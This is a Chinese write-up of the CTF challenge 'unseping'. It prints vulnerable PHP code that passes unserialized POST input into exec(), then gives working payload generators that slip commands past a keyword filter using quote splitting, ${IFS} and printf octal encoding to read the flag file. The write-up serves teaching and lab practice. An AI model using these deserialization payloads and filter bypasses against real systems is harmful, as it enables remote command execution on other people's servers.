攻防世界新手练习区——unseping
目录
知识点
- PHP代码审计
- PHP序列化和反序列化
- PHP中魔术方法
- 命令执行绕过方式
解读题目源码:
这道题首先一上来就是一段PHP代码,其中看到unserialize()就知道考的是反序列化,但是我们再往上看代码会发现还有命令执行绕过的知识点。做出这道题的第一步就是能够理清代码执行顺序和各个函数的功能。接下来我们先分析一下源码。
-
-
highlight_file(__FILE__);
-
-
class ease{
-
-
private $method;
-
private $args;
-
function __construct($method, $args) {
-
$this->method = $method;
-
$this->args = $args;
-
}
-
-
function __destruct(){
-
if (in_array($this->method, array("ping"))) {
-
call_user_func_array(array($this, $this->method), $this->args);
-
}
-
}
-
-
function ping($ip){
-
exec($ip, $result);
-
var_dump($result);
-
}
-
-
function waf($str){
-
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
-
return $str;
-
} else {
-
echo "don't hack";
-
}
-
}
-
-
function __wakeup(){
-
foreach($this->args as $k => $v) {
-
$this->args[$k] = $this->waf($v);
-
}
-
}
-
}
-
-
$ctf=@$_POST['ctf'];
-
@unserialize(base64_decode($ctf));
-
- __construct():这是一个构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法。
- __destruct():这是一个析构函数,在对象的所有引用被删除或者当对象被显示销毁执行的魔术方法。注意:在实例化对象后,代码运行完全销毁,会触发析构函数__destruct();反序列化得到的是对象,用完之后会销毁,触发析构函数。这道题中发序列化之后就会触发析构函数。
- in_array()函数:
- call_user_func_array()函数:
- exec()函数
- var_dump():用于输出变量的详细信息,包括值和类型等
- preg_match_all():用于执行一个全局正则表达式匹配
- __wakeup()函数:
unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源。
预先准对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
foreach()函数:
执行顺序:
- 以POST方式提交ctf
- 对提交的值进行base64解码
- 进行反序列化
- 然后执行__wakeup()函数
- 执行析构函数_destruct()
能够看懂代码之后我们就可以开始进行尝试。由于我们是需要查看当前目录,寻找一下是否有flag的文件提示,但是有一个waf函数进行过滤,所以我们不能直接传参为ls。这就需要我们的命令执行绕过方式了。
我们可以检验上面我们的思路是否正确。
-
-
class ease{
-
-
private $method;
-
private $args;
-
function __construct($method, $args) {
-
$this->method = $method;
-
$this->args = $args;
-
}
-
-
}
-
-
$o=new ease("ping",array("ifconfig"));
-
$s = serialize($o);
-
echo base64_encode($s);
-
将上述代码结果以post形式提交进去。
这时候我们发现页面返回了结果:
这就说明我们整体思路是没有问题的,直接使用命令绕过方法寻找Flag。
命令绕过
上面检验命令是可以执行的,我们接下来思路就放在命令执行绕过过滤即可,寻找flag线索。
- 单引号
- 双引号
- ${Z}
-
-
class ease{
-
-
private $method;
-
private $args;
-
function __construct($method, $args) {
-
$this->method = $method;
-
$this->args = $args;
-
}
-
-
}
-
-
$o=new ease("ping",array('l""s'));
-
$s = serialize($o);
-
echo base64_encode($s);
-
将上述结果提交。
看到了"flag_1s_here”文件夹,于是我们查看一下该文件夹下目录;于是执行命令"ls flag_1s_here";此处空格用${IFS}绕过。
-
-
class ease{
-
-
private $method;
-
private $args;
-
function __construct($method, $args) {
-
$this->method = $method;
-
$this->args = $args;
-
}
-
-
}
-
-
$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
-
$s = serialize($o);
-
echo base64_encode($s);
-
于是我们通过命令查看该文件;命令cat flag_1s_here/flag_831b69012c67b35f.php。
/绕过方式:利用oct编码(八进制)绕过;$(printf "\154\163")//ls命令
通过python脚本实现oct绕过:
-
str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
-
arr = []
-
for i in str1:
-
#对字符先转换为ASCII码,再转换为八进制
-
r = oct(ord(i))
-
#这个主要是为了将八进制前面的0o替换掉
-
r=str(r).replace("0o","")
-
arr.append(r)
-
s = "\\"
-
# print(arr)
-
#将所有的八进制组合,最终的结果第一个地方应该再添加一个\
-
p=s.join(arr)
-
print(p)
将其结果带入命令那执行,代码如下:
-
-
class ease{
-
-
private $method;
-
private $args;
-
function __construct($method, $args) {
-
$this->method = $method;
-
$this->args = $args;
-
}
-
-
}
-
$o=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
-
$s = serialize($o);
-
-
echo base64_encode($s);
-
代入显示Flag:
本篇文章来至:学新通
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通
- 本文地址: https://www.swvq.com/boutique/detail/tanhcjahha
- 联系方式: luke.wu#vfv.cc
系列文章
更多
同类精品
更多
精彩评论
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
剪切蒙版和图层蒙版的区别是什么意思
PHP中文网 06-17 -
photoshop默认安装在c盘怎么移动
PHP中文网 03-29 -
怎么文档的文字转换成4行5列的表格
PHP中文网 06-21 -
word表格分成了上下两块怎么办
PHP中文网 06-17 -
微信小程序没声音怎么办
PHP中文网 06-15 -
表格输入身份证号码后三位显示0怎么办
PHP中文网 06-21 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel图片置于文字下方的方法
PHP中文网 06-27 -
怎么修改微信小程序名称
PHP中文网 06-18